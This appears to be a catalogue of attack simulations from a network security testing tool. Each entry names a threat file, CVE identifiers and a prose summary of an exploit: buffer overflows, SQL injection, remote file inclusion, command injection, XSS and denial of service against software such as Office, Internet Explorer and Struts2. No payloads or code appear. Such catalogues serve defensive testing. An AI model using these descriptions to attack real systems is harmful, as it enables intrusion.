Detailed Description:	A buffer overflow vulnerability exists in Microsoft Office PICT Filter. The vulnerability is due to an error in handling a PICT image file. Remote unauthenticated attackers could exploit this vulnerability by persuading a target user to open a specially crafted PICT file. Successful exploitation would cause a memory corruption that may lead to arbitrary code execution in the security context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-3021
Threat Package:	Standard
Threat File Name:	FSC20080108-08_Microsoft_Windows_Kernel_ICMP_Fragmented_Packet_Processing_Denial_of_Service_IPv6.xml
Executive Description:	Microsoft Windows Kernel ICMP Fragmented Packet Processing Denial of Service (IPv6 Version)
Detailed Description:	There exists a denial of service vulnerability in the way Microsoft Windows Kernel processes ICMP requests. The vulnerability is due to insufficient boundary checking when processing fragmented router advertisement ICMP requests. Remote unauthenticated attackers can exploit this vulnerability by sending specially crafted ICMP messages to an affected system. Successful exploitation may cause the system to stop responding. (IPv6 Version)
Protocol Type:	ICMP/IPv6
CVEID:	CVE-2007-0066
Threat Package:	Standard
Threat File Name:	ms05-005.xml
Executive Description:	MS05-005 Microsoft Office Malicious URI Crash
Detailed Description:	This threat sends a malicious webpage which is designed to cause Microsoft Office to load an overly long filename. This causes a buffer overflow in the office code, leading to potential code execution. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2004-0848
OSVDB:	13594
Threat Package:	Standard
Threat File Name:	sipemptyviaparams_IPv6.xml
Executive Description:	SIP Empty Via: Parameters (IPv6 Version)
Detailed Description:	This threat sends out a SIP INVITE message with multiple empty parameters after the branch tag in the Via: header. This may confuse or crash a PBX that isn't very robust. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	FSC20090727-06_Mozilla_Firefox_ConstructFrame_With_Floating_First-letter_Memory_Corruption.xml
Executive Description:	Mozilla Firefox ConstructFrame With Floating First-letter Memory Corruption
Detailed Description:	A memory corruption vulnerability is reported in Mozilla Firefox web browser. The vulnerability is due to an implementation error when handling the first letter frame. A remote attacker can exploit this vulnerability by enticing the target user to open a malicious web page. In an attack scenario, where arbitrary code is injected and executed on the target system, the behaviour of the target is dependent on the intention of the malicious code. The injected code will be run with privileges of the currently logged on user. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-2462
Threat Package:	Standard
Threat File Name:	x86NOOPudpUNICODE.xml
Executive Description:	UDP x86 NOOP Variant UNICODE
Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure greater probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives.
Protocol Type:	UDP
Threat Package:	Standard
Threat File Name:	TSL20141211-08_ManageEngine_NetFlow_Analyzer_And_IT360_CReportPDFServlet_Arbitrary_File_Download.xml
Executive Description:	ManageEngine NetFlow Analyzer And IT360 CReportPDFServlet Arbitrary File Download

Detailed Description:	An arbitrary file download vulnerability exists in ManageEngine Netflow Analyzer and IT360. The vulnerability is due to lack of authentication and insufficient input validation on the "schFilePath" parameter sent to the CReportPDFServlet in HTTP requests. A remote unauthenticated attacker can download arbitrary files from arbitrary locations on the server by sending malicious requests to it. Tester should set \$destPort to 8080 before test.
Protocol Type:	HTTP
CVEID:	CVE-2014-5445
OSVDB:	115341
Threat File Name:	faqengine_sqli.xml
Executive Description:	FAQEngine Question.PHP SQL Injection Vulnerability
Detailed Description:	This threat demonstrates a standard SQL injection attack against FAQEngine, this threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-2749
Threat Package:	Standard
Threat File Name:	FSC20080527-21_CA_BrightStor_ARCserve_Backup_caloggerd_Opcode_79_Stack_Buffer_Overflow.xml
Executive Description:	CA BrightStor ARCserve Backup caloggerd Opcode 79 Stack Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Computer Associates BrightStor ARCserve Backup product. The vulnerability is due to insufficient bounds checking in the user supplied data contained inside the requests sent to the caloggerd service. A remote unauthenticated attacker may leverage this vulnerability to inject and execute arbitrary code on the target host with System level privileges.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	jolt2_IPv6.xml
Executive Description:	Jolt II (IPv6 Version)
Detailed Description:	This threat mimics the behavior of the Jolt II attack. It sends multiple IP fragments, all claiming to be the last fragment. This can cause poorly implemented IP stacks to fail; for example, Microsoft patches this for Windows with MS00-029. Jolt II is typically used to overwhelm firewalls. (IPv6 Version)
Protocol Type:	IP/IPv6
CVEID:	CVE-2002-0305
OSVDB:	335
Threat Package:	Standard
Threat File Name:	FSC20090429-03_Adobe_Reader_JavaScript_spell_customDictionaryOpen_Method_Memory_Corruption_IPv6.xml
Executive Description:	Adobe Reader JavaScript spell.customDictionaryOpen Method Memory Corruption (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in Adobe Reader and Acrobat on Linux/Unix platform. The vulnerability is due to insufficient input validation in the implementation of the customDictionaryOpen JavaScript method. A remote attacker can exploit this vulnerability by enticing the target user to open a malicious PDF file. In an attack case where code injection is not successful, the affected Acrobat application parsing the malicious PDF document can terminate abnormally. In a more sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-1493
Threat Package:	Standard
Threat File Name:	TSL20130730-02_HP_SiteScope_SOAP_Call_runOMAgentCommand_Command_Injection.xml
Executive Description:	HP SiteScope SOAP Call runOMAgentCommand Command Injection
Detailed Description:	A command injection vulnerability exists in HP SiteScope SOAP component. The vulnerability is due to insufficient validation of "omHost" key value. A remote unauthenticated attacker can leverage this vulnerability to execute arbitrary command with the SYSTEM context on the vulnerable target.
Protocol Type:	SOAP,HTTP
CVEID:	CVE-2013-2367
OSVDB:	95824
Threat File Name:	TSL20170111-14_Adobe_Acrobat_ImageConversion_TIFF_Heap-based_Buffer_Overflow_IPv6.xml
Executive Description:	Adobe Acrobat ImageConversion TIFF Heap-based Buffer Overflow (IPv6 Version)
Detailed Description:	A heap-based buffer overflow vulnerability has been found in the ImageConversion component of Adobe Acrobat. The vulnerability is due to improper validation user-supplied data which can result in a heap-based buffer overflow when processing a TIFF image file. A remote attacker could exploit the vulnerability by enticing a target user to open a maliciously crafted file. Successful exploitation could result in code execution under the context of the user.
Protocol Type:	HTTP, HTTPS, IMAP, SMB/CIFS, POP3, FTP, IPv6
Threat File Name:	TSL20120410-11_Microsoft_Windows_Common_Controls_MSCOMCTL_OCX_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows Common Controls MSCOMCTL.OCX Stack Buffer Overflow(IPv6 Version)
Detailed Description:	A stack buffer overflow vulnerability exists in Microsoft Windows Common Controls. These controls are ActiveX controls contained in the MSCOMCTL.OCX file. The vulnerable ActiveX controls are MSCOMCTL.TreeView and MSCOMCTL.ListView. This vulnerability can be exploited by remote unauthenticated attackers by enticing a user to open a malicious document. Successful exploitation could result in execution of arbitrary code in the context of the currently logged on user.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-0158
Threat File Name:	burncms_cmi_c_IPv6.xml
Executive Description:	burnCMS <= 0.2(root)Remote File Include Vulnerabilities (IPv6 Version)
Detailed Description:	This threat demonstrates a remote file inclusion flaw against connect.php's root parameter. this threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20090210-10_Microsoft_Internet_Explorer_Cloned_Object_Memory_Corruption_IPv6.xml

Executive Description:	Microsoft Internet Explorer Cloned Object Memory Corruption (IPv6 Version)
Detailed Description:	A vulnerability exists in the way Internet Explorer 7 accesses an object that has been deleted, which can cause memory corruption. A remote attacker can exploit this vulnerability by enticing the target user to view a malicious HTML file. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current logged on user. In an attack case where code injection is not successful, Internet Explorer will terminate abnormally. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-0075
Threat Package:	Standard
Threat File Name:	empire_cms_rfi_IPv6.xml
Executive Description:	Empire CMS Checklevel.PHP Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Empire CMS is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-4354
Threat Package:	Standard
Threat File Name:	audioCMS_rfi_IPv6.xml
Executive Description:	audioCMS arash 0.1.4(arashlib_dir)Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. AudioCMS is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20100219-02_IBM_Cognos_Server_Backdoor_Account_Remote_Code_Execution.xml
Executive Description:	IBM Cognos Server Backdoor Account Remote Code Execution
Detailed Description:	A code execution vulnerability exists in IBM Cognos Express. The vulnerability is due to hard-coded user credentials, with manager-level permissions, installed by default in the user configuration of the bundled Tomcat server. Remote unauthenticated attackers can exploit this vulnerability by using these credentials to connect to the vulnerable server over port 19300/TCP and deploy a malicious web application on a vulnerable system. In an attack scenario, where arbitrary code is injected and executed on the target system, the behaviour of the target is dependent on the intention of the malicious code. In this case, the injected code will run with the privileges of the Tomcat server process. On Windows systems the Tomcat process runs as SYSTEM.
Protocol Type:	HTTP
CVEID:	CVE-2010-0557
Threat Package:	Standard
Threat File Name:	FSC20100209-10_Microsoft_Paint_JPEG_Image_Parsing_Integer_Overflow.xml
Executive Description:	Microsoft Paint JPEG Image Parsing Integer Overflow
Detailed Description:	An integer overflow vulnerability exists in Microsoft Paint, shipped with various versions of Microsoft Windows. The vulnerability is due to an input validation error while parsing specially crafted JPEG image files. Remote attackers can exploit this vulnerability by enticing target users to open maliciously crafted JPEG image files in a vulnerable version of MS Paint. Successful exploitation would cause a heap buffer overflow that can lead to arbitrary code execution in the security context of the logged in user. In an unsuccessful attack, the affected application may abnormally terminate.
Protocol Type:	HTTP/HTTPS/FTP/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2010-0028
Threat Package:	Standard
Threat File Name:	msie6_href_dos.xml
Executive Description:	Microsoft Internet Explorer Href Title Denial Of Service Vulnerability
Detailed Description:	This threat uses a malicious HTTP server reply to cause a denial-of-service condition in a MSIE 6 because of an error in processing an HTML 'href' tag with a very large title. Microsoft Internet Explorer 6 is a web browser that typically connects to a web server listening on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20071211-13_Microsoft_DirectX_WAV_and_AVI_File_Parsing_Code_Execution_IPv6.xml
Executive Description:	Microsoft DirectX WAV and AVI File Parsing Code Execution (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in Microsoft DirectX application framework. The vulnerability is due to the way certain DirectX libraries handle specially crafted WAV and AVI files. A remote attacker could exploit this vulnerability by persuading a user to open a specially crafted WAV or AVI file, potentially causing arbitrary code to be injected and executed in the security context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3895
Threat Package:	Standard
Threat File Name:	firefox_location-hostname_cross-domain_vuln_IPv6.xml
Executive Description:	Mozilla Firefox 'location.hostname' Cross-Domain Vulnerability (IPv6 Version)
Detailed Description:	This threat leverages a flaw in Mozilla's Firefox web browser by writing a URI with a null byte to the hostname (location.hostname) DOM property resulting in a denial of service condition. This threat mimics a webserver sending the malicious attack from the virtual server, and would typically be sent across port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0981
Threat Package:	Standard
Threat File Name:	phpgeneric_rfi_IPv6.xml
Executive Description:	Php Generic (include_path) Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Php Generic is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	fuzz-IP_Protocol.xml

Executive Description:	Fuzzer for Protocol:IP and Field:Protocol
Detailed Description:	
Protocol Type:	IP
Threat Package:	Fuzzing
Threat File Name:	excel_bof_b.xml
Executive Description:	Microsoft Excel xlw file Remote Code Execution MS06-012
Detailed Description:	This server based threat downloads a Malicious xlw file which triggers the excel remote code execution flaw mentioned in microsoft advisory ms06-012.
Protocol Type:	HTTP
CVEID:	CVE-2006-0029
Threat Package:	Standard
Threat File Name:	FSC20101012-30_Microsoft_Office_Excel_Formula_Record_Code_Execution.xml
Executive Description:	Microsoft Office Excel Formula Record Code Execution
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel. The vulnerability is due to an error while processing <i><ptg></i> tokens within <i><Formula></i> records in Excel files. This vulnerability can be exploited by enticing a user to open a maliciously crafted Excel file. Successful exploitation will result in the execution arbitrary code in the context of the logged in user, unsuccessful exploitation may cause the program to terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2010-3235
Threat Package:	Standard
Threat File Name:	NOOPtcpAIX_IPv6.xml
Executive Description:	TCP NOOP Packet Variant AIX (IPv6 Version)
Detailed Description:	This threat sends a TCP packet that appears to be part of an existing valid connection with a NOOP sled in it. A NOOP sled is used by shellcode to insure that the injected code will execute. Unfortunately, there are many other reasons why a NOOP might appear in traffic. This threat utilized equivalent assembly instructions to the standard NOOP instruction. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	SymantecFirewallDNSDOS2.xml
Executive Description:	Symantec Firewall DNS Response Buffer Overflow
Detailed Description:	This threat sends a large DNS reply to a an open UDP port - such as 137. The Symantec firewall software will attempt to read the DNS packet, and overflow a buffer it has allocated for to read it. Can be used for remote execution of code.
Protocol Type:	DNS
CVEID:	CVE-2004-0444
OSVDB:	6099
Threat Package:	Standard
Threat File Name:	hp_printservftp_dos_IPv6.xml
Executive Description:	Hewlett-Packard FTP Print Server Version 2.4.5 Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat crashes vulnerable HP Printer FTP Print Server via an excessively large LIST command. HP Printer FTP Print Server is an ftp server that typically listens on port 21. (IPv6 Version)
Protocol Type:	FTP/IPv6
Threat Package:	Standard
Threat File Name:	jeuce_IPv6.xml
Executive Description:	Jeuce Denial Of Service Attack (IPv6 Version)
Detailed Description:	This threat sends a URL that crashes the Jeuce Personal Webserver. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1663
OSVDB:	12719
Threat Package:	Standard
Threat File Name:	TSL20160512-06_Microsoft_Edge_Chakra_JavaScript_Engine_Array.concat_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Edge Chakra JavaScript Engine Array.concat Memory Corruption (IPv6 version)
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Edge Chakra JavaScript Engine. This vulnerability is due to an improper validation in Array.concat method. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP, HTTPS, IPv6
CVEID:	CVE-2016-0191
Threat File Name:	FSC20041109-01_Microsoft_ISA_Server_DNS_Spoofing_Vulnerability_IPv6.xml
Executive Description:	Microsoft ISA Server DNS Spoofing Vulnerability (IPv6 Version)
Detailed Description:	A vulnerability exists in the DNS cache functionality of Microsoft Internet Security and Acceleration (ISA) Server and Microsoft Proxy Server. A vulnerable server can be manipulated into caching and using an incorrect IP address for a DNS hostname. This flaw may allow an attacker to present malicious content to users under the guise of a known and trusted web site. (IPv6 Version)
Protocol Type:	DNS/IPv6
CVEID:	CVE-2004-0892
Threat Package:	Standard
Threat File Name:	SNMPv3PIX.xml
Executive Description:	Cisco PIX SNMPv3 Denial of Service
Detailed Description:	This threat sends an SNMPv3 message to the target. This can cause a Cisco PIX firewall to crash.
Protocol Type:	SNMPv3
CVEID:	CVE-2003-1003
OSVDB:	3046
Threat Package:	Standard

Threat File Name:	TSL20110810-02_HP_Easy_Printer_Care_Software_HPTicketMgr_dll_ActiveX_Control_Directory_Traversal.xml
Executive Description:	HP Easy Printer Care Software HPTicketMgr.dll ActiveX Control Directory Traversal
Detailed Description:	A directory traversal vulnerability has been identified in HP's Easy Printer Care Software. The vulnerability is due to insufficient input validation by an ActiveX control, which is part of the affected product. A remote attacker could exploit this vulnerability by enticing a target user to view a maliciously crafted web page. This would allow the attacker to overwrite arbitrary files on the target computer with arbitrary content, which could lead to code execution.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-2404
Threat File Name:	FSC20100713-06_Apache_Struts2_ParametersInterceptor_Remote_Command_Execution.xml
Executive Description:	Apache Struts2 ParametersInterceptor Remote Command Execution
Detailed Description:	A command execution vulnerability exists in the web application framework Apache Struts2. The vulnerability is due to insufficient input validation in the ParametersInterceptor component when parsing incoming HTTP requests. A remote attacker can leverage this vulnerability by sending a crafted HTTP request to a target system. In an attack scenario, where arbitrary commands are executed on the target machine, the malicious command will be executed within the security context of the target service.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-1870
Threat Package:	Standard
Threat File Name:	ipv6_syn_localhost.xml
Executive Description:	IPv6 SYN localhost
Detailed Description:	This threat sends a TCP SYN packet with a source IPv6 Address of 0:0:0:0:0:0:1
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	sipcontacturiparam_IPv6.xml
Executive Description:	SIPPING: URI Parameter (IPv6 Version)
Detailed Description:	This threat sends out a SIP REGISTER message with an unknown parameter in the Contact: URI value. This is allowed but unexpected and may confuse or crash a SIP implementation. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	TSL20160428-07_HPE_Data_Protector_EXEC_BAR_username_Buffer_Overflow.xml
Executive Description:	HPE Data Protector EXEC_BAR username Buffer Overflow
Detailed Description:	A buffer overflow vulnerability has been found in the OmniInet.exe component of HPE Data Protector. This vulnerability is due to lack of boundary checks on the username field in EXEC_BAR requests. A remote, unauthenticated attacker could exploit this vulnerability by sending malformed requests to the HPE Data Protector OmniInet.exe service. Successful exploitation could lead to arbitrary code execution under the security context of SYSTEM.
Protocol Type:	TCP
CVEID:	CVE-2016-2005
Threat File Name:	TSL20130326-09_Microsoft_Internet_Explorer_CTableCell_get_cellIndex_Information_Disclosure_IPv6.xml
Executive Description:	Microsoft Internet Explorer CTableCell get_cellIndex Information Disclosure(IPv6 version)
Detailed Description:	An information disclosure vulnerability exists in Microsoft Internet Explorer. The vulnerability is caused by an error in CTableCell::get_cellIndex function in mshtml.dll. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would cause an information disclosure. Microsoft has not released an advisory regarding this vulnerability at this point.
Protocol Type:	IPV6,HTTP,HTTPS
Threat File Name:	nokia_snmp.xml
Executive Description:	Nokia SNMP Disclosure of Information
Detailed Description:	This threat sends an SNMP request with the community string of tellmeyoursecrets. However, the flaw is that certain versions of the Nokia SCSN will respond to SNMP requests regardless of the community string specified allowing an attacker to read or set SNMP variables without knowing the community string.
Protocol Type:	SNMP
CVEID:	CVE-2003-0137
Threat Package:	Standard
Threat File Name:	blur6ex_sqli.xml
Executive Description:	Blursoft Blur6ex SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Blur6ex is a web application that typically listens on port 80
Protocol Type:	HTTP
CVEID:	CVE-2006-1763
OSVDB:	24684
Threat Package:	Standard
Threat File Name:	winamp_mp4_dos_IPv6.xml
Executive Description:	Winamp MP4 File Parsing Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a malicious mp4 media file that once played in a vulnerable Winamp client will result in a denial of service condition or execution of arbitrary code. Winamp is a client application that can retrieve mp4 files from a web server listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20060309-03_Microsoft_Internet_Explorer_IsComponentInstalled_Buffer_Overflow.xml
Executive Description:	Microsoft Internet Explorer IsComponentInstalled Buffer Overflow

Detailed Description:	There exists a buffer overflow vulnerability in the IsComponentInstalled function of Microsoft Internet Explorer. The flaw is caused by a lack of length verification checks of parameters passed to the affected function. A remote attacker can exploit this vulnerability by enticing a user to visit a specially crafted web page, which may lead to the injection of arbitrary code that will be executed in the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2006-1016
Threat Package:	Standard
Threat File Name:	FSC20060718-01_Microsoft_Internet_Explorer_WebViewFolderIcon_SetSlice_Method_Buffer_Overflow.xml
Executive Description:	Microsoft Internet Explorer WebViewFolderIcon SetSlice Method Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in the WebViewFolderIcon ActiveX control used by Microsoft Internet Explorer. The flaw is due to improper validation of user supplied arguments to the SetSlice() method of the affected object. By persuading the target user to visit a malicious web site using Microsoft Internet Explorer, an attacker may execute arbitrary code on the target system with the privileges of the currently logged on user.
Protocol Type:	HTTP
CVEID:	CVE-2006-3730
Threat Package:	Standard
Threat File Name:	pearl_for_mambo_cmi_IPv6.xml
Executive Description:	Pearl For Mambo 1.6 Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threats sends a crafted HTTP get query containing an PHP variable override for the GlobalSettingsVariable, which allows arbitrary inclusion of executable and nonexecutable code. Pearl For Mambo is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	sipbigcode.xml
Executive Description:	SIPPING: Big Response Code
Detailed Description:	This threat sends out a SIP response code message with a large value for the code number. This is invalid and should be dropped, but because it is unexpected it may confuse or crash a SIP implementation.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	FSC20040407-01_Macromedia_Flash_Player_LoadMovie_DoS_IPv6.xml
Executive Description:	Macromedia Flash Player LoadMovie DoS (IPv6 Version)
Detailed Description:	Macromedia Flash player plug-in is a multi-media module/plugin for displaying Flash content within an HTML web page. A vulnerability exists in the way Macromedia Flash Player plug-in handles an object when it attempts to load a movie. A malicious attacker could crash a vulnerable Flash Player with a specially crafted script in a web page. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	iis_localhost_IPv6.xml
Executive Description:	HTTP GET localhost Error Page Request (IPv6 Version)
Detailed Description:	This threat issues a HTTP request for the localhost host. This can disclose more details in scripting errors, allowing for attacker to discover the exact nature of a web script's failure. This is caused by a built in error reporting feature of IIS 5 and 6. IIS is a webserver, and typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2678
OSVDB:	18926
Threat Package:	Standard
Threat File Name:	ms05-017.xml
Executive Description:	MS05-017 Exploit Microsoft Message Queuing
Detailed Description:	This threat exploits a flaw in Microsoft Message Queuing, which leads to a buffer overflow. Microsoft Message Queuing listens on ports 2103, 2105, and 2107.
Protocol Type:	Proprietary
CVEID:	CVE-2005-0059
OSVDB:	15458
Threat Package:	Standard
Threat File Name:	FSC20070814-13_Microsoft_Windows_Media_Player_Skin-Decompression_Code_Execution.xml
Executive Description:	Microsoft Windows Media Player Skin Decompression Code Execution
Detailed Description:	There exists a code execution vulnerability in Microsoft Windows Media Player. The vulnerability is caused due to a boundary error when decompressing the encoded data from WMZ and WMD files. A remote attacker can exploit this vulnerability by enticing the target user to open crafted WMZ and WMD files, potentially causing arbitrary code to be injected and executed in the security context of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-3035
Threat Package:	Standard
Threat File Name:	bl4_smtp_dos.xml
Executive Description:	BL4 SMTP Server < 0.1.5 Remote Buffer Overflow PoC
Detailed Description:	This threat sends a crafted SMTP message with an excessively long MAIL FROM command; This causes the BL4 process to crash. BL4 is an SMTP server which typically listens on port 25.
Protocol Type:	SMTP
Threat Package:	Standard
Threat File Name:	UserAgentXSS_IPv6.xml
Executive Description:	Generic User-Agent XSS Attempt (IPv6 Version)
Detailed Description:	This attack represents a cross-site scripting attack through the user-agent field of HTTP. This field is used in logfile analysis and some server side scripting. By injecting Javascript into this field, code can be executed through the webpage and be used to steal session and login information. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard

Threat File Name:	filezilla_bof_IPv6.xml
Executive Description:	FileZilla Server Long Username Buffer Overflow (IPv6 Version)
Detailed Description:	This threat sends a crafted ftp command with an excessively long username to trigger a buffer overflow. FileZilla is an ftp server that typically listens on port 21. (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-2005-3589
OSVDB:	20817
Threat Package:	Standard
Threat File Name:	FSC20050602-01_RSA_Authentication_Agent_for_Web_Buffer_Overflow_IPv6.xml
Executive Description:	RSA Authentication Agent for Web Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in the RSA Authentication Agent for Microsoft Internet Information Server (IIS). The flaw is triggered when the vulnerable component parses crafted HTTP data. Successful exploitation can allow arbitrary code to be executed with System level privileges on the target system. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1471
Threat Package:	Standard
Threat File Name:	FSC20090113-23_Oracle_Secure_Backup_Administration_Server_login_php_Cookies_Command_Injection_IPv6.xml
Executive Description:	Oracle Secure Backup Administration Server login.php Cookies Command Injection (IPv6 Version)
Detailed Description:	There exists a command injection vulnerability in Oracle Secure Backup. The vulnerability is due to lack of sanitation of user supplied parameters when processing HTTP requests sent to CGI program login.php. Remote unauthenticated attackers can exploit this vulnerability by sending a crafted HTTP request to the target host. Successful exploitation would allow for arbitrary command execution in the security context of the user running the web server of Oracle Secure Backup. The behaviour of the target is entirely dependent on the intended function of the injected command. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-4006
Threat Package:	Standard
Threat File Name:	mmimap_bof_IPv6.xml
Executive Description:	Mercur Messaging 2005 IMAP Remote Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a specially crafted string to MMIMAP that leverages a buffer overflow vulnerability and can result in code execution or a denial of service condition. Mercur Messaging IMAP is an IMAP server that typically listens on port 143. (IPv6 Version)
Protocol Type:	IMAP/IPv6
CVEID:	CVE-2006-1255
OSVDB:	23950
Threat Package:	Standard
Threat File Name:	TSL20120612-16_Microsoft_Internet_Explorer_Col_Element_Heap_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer Col Element Heap Memory Corruption(IPv6 Version)
Detailed Description:	A remote code execution vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the improper processing of the Col Element in an HTML table tag, which could lead to heap memory corruption. A remote, unauthenticated attacker can exploit this vulnerability by enticing a target user to open an HTML document with Internet Explorer. A successful exploitation attempt could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2012-1876
OSVDB:	82866
Threat File Name:	sipshorttorturusinvite_IPv6.xml
Executive Description:	SIPPING: A Short Torturus INVITE (IPv6 Version)
Detailed Description:	This threat sends out a "short torturus INVITE" given in the SIPPING torture test IETF draft. This INVITE message is all sorts of nonstandard: it includes line folding, escaped characters, empty fields, unknown headers, parameters, and ordering, and many other strangely formed (but technically legal) message parts. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	ishopcart_overflow_IPv6.xml
Executive Description:	Ishopcart Remote Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP Get request to exploit a buffer overflow condition in Ishopcart. Ishopcart is a web application that typically listens on Port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2814
OSVDB:	25970
Threat Package:	Standard
Threat File Name:	TSL20161213-15_Microsoft_Excel_CVE-2016-7262_Security_Feature_Bypass_IPv6.xml
Executive Description:	Microsoft Excel CVE-2016-7262 Security Feature Bypass (IPv6 Version)
Detailed Description:	A security feature bypass vulnerability has been reported in Microsoft Excel. This vulnerability is due to insufficient validation of user supplied input prior to opening/executing embedded content. A remote attacker could exploit this vulnerability by enticing a victim user to open a maliciously crafted document. Successful exploitation could allow command execution under the security context of the target user.
Protocol Type:	HTTP, HTTPS, IMAP, SMTP, SMB/CIFS, IPV6
CVEID:	CVE-2016-7262
Threat File Name:	zenturi_navigateurl_activex_bof_IPv6.xml
Executive Description:	Zenturi ProgramChecker ActiveX NavigateUrl() Insecure Method Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Zenturi ProgramChecker "NavigateUrl()" ActiveX application, resulting in the overwritingof arbitrary files. This threat is delived via HTTP port 80. (IPv6 Version)

Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20161220-06_Autodesk_Design_Review_BMP_biClrUsed_Buffer_Overflow.xml
Executive Description:	Autodesk Design Review BMP biClrUsed Buffer Overflow
Detailed Description:	A heap-based buffer overflow vulnerability exists in Autodesk Design Review. The vulnerability is due to improper handling of biClrUsed field in a BMP file. A remote attacker could exploit these vulnerabilities by enticing the user to visit a maliciously crafted web-page or open a maliciously crafted file. Successful exploitation would allow the attacker to execute arbitrary code in the context of the user.
Protocol Type:	HTTPS, HTTP, IMAP, POP3, SMB/CIFS, SMTP, FTP, NFS
Threat File Name:	FSC20100305-01_Mozilla_Firefox_WOFF_Font_Processing_Integer_Overflow.xml
Executive Description:	Mozilla Firefox WOFF Font Processing Integer Overflow
